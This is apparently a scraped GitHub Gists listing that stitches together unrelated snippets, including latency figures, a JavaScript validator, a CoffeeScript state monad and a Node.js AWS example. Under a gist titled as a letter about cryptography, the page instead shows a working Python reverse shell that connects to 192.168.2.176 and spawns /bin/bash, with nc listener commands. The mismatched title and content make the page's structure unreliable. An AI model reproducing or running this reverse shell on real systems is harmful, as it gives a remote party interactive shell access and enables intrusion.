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@paragonie-scott
paragonie-scott / crypto-wrong-answers.md
Last active April 21, 2024 23:48
An Open Letter to Developers Everywhere (About Cryptography)
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
@ragingwind
ragingwind / Backend Architectures Keywords and References.md
Last active April 17, 2024 10:51
Backend Architectures Keywords and References
@dypsilon
dypsilon / frontendDevlopmentBookmarks.md
Last active June 13, 2024 10:59
A badass list of frontend development resources I collected over time.
@ndarville
ndarville / business-models.md
Last active January 13, 2024 17:27
Business models based on the compiled list at http://news.ycombinator.com/item?id=4924647. I find the link very hard to browse, so I made a simple version in Markdown instead.

Business Models

Advertising

Models Examples
Display ads Yahoo!
Search ads Google
@jboner
jboner / latency.txt
Last active June 21, 2024 04:31
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@nijikokun
nijikokun / example-user.js
Created May 3, 2012 20:46
Beautiful Validation... Why have I never thought of this before?!
var user = {
validateCredentials: function (username, password) {
return (
(!(username += '') || username === '') ? { error: "No Username Given.", field: 'name' }
: (!(username += '') || password === '') ? { error: "No Password Given.", field: 'pass' }
: (username.length < 3) ? { error: "Username is less than 3 Characters.", field: 'name' }
: (password.length < 4) ? { error: "Password is less than 4 Characters.", field: 'pass' }
: (!/^([a-z0-9_-]+)$/i.test(username)) ? { error: "Username contains invalid characters.", field: 'name' }
: false
);
@tsaniel
tsaniel / LICENSE.txt
Created September 2, 2011 12:17 — forked from 140bytes/LICENSE.txt
Konami Code easter egg
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2011 YOUR_NAME_HERE <YOUR_URL_HERE>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
@igstan
igstan / state-monad.coffee
Created April 22, 2011 11:57
State Monad in CoffeeScript
push = (element) -> (stack) ->
newStack = [element].concat stack
{value: element, stack: newStack}
pop = (stack) ->
element = stack[0]
newStack = stack.slice 1
{value: element, stack: newStack}
bind = (stackOperation, continuation) -> (stack) ->
@juno
juno / nodejs-aws-example.js
Created February 8, 2011 07:47
AWS EC2 access example w/nodejs, express, aws-lib
var app = require('express').createServer();
var aws = require('aws-lib');
var access_key_id = '***';
var secret_access_key = '***';
var endpoint = 'ec2.ap-southeast-1.amazonaws.com'; // ap-southeast-1
var ec2 = aws.createEC2Client(access_key_id, secret_access_key, {host: endpoint});
app.get('/', function(req, res) {
console.log('/');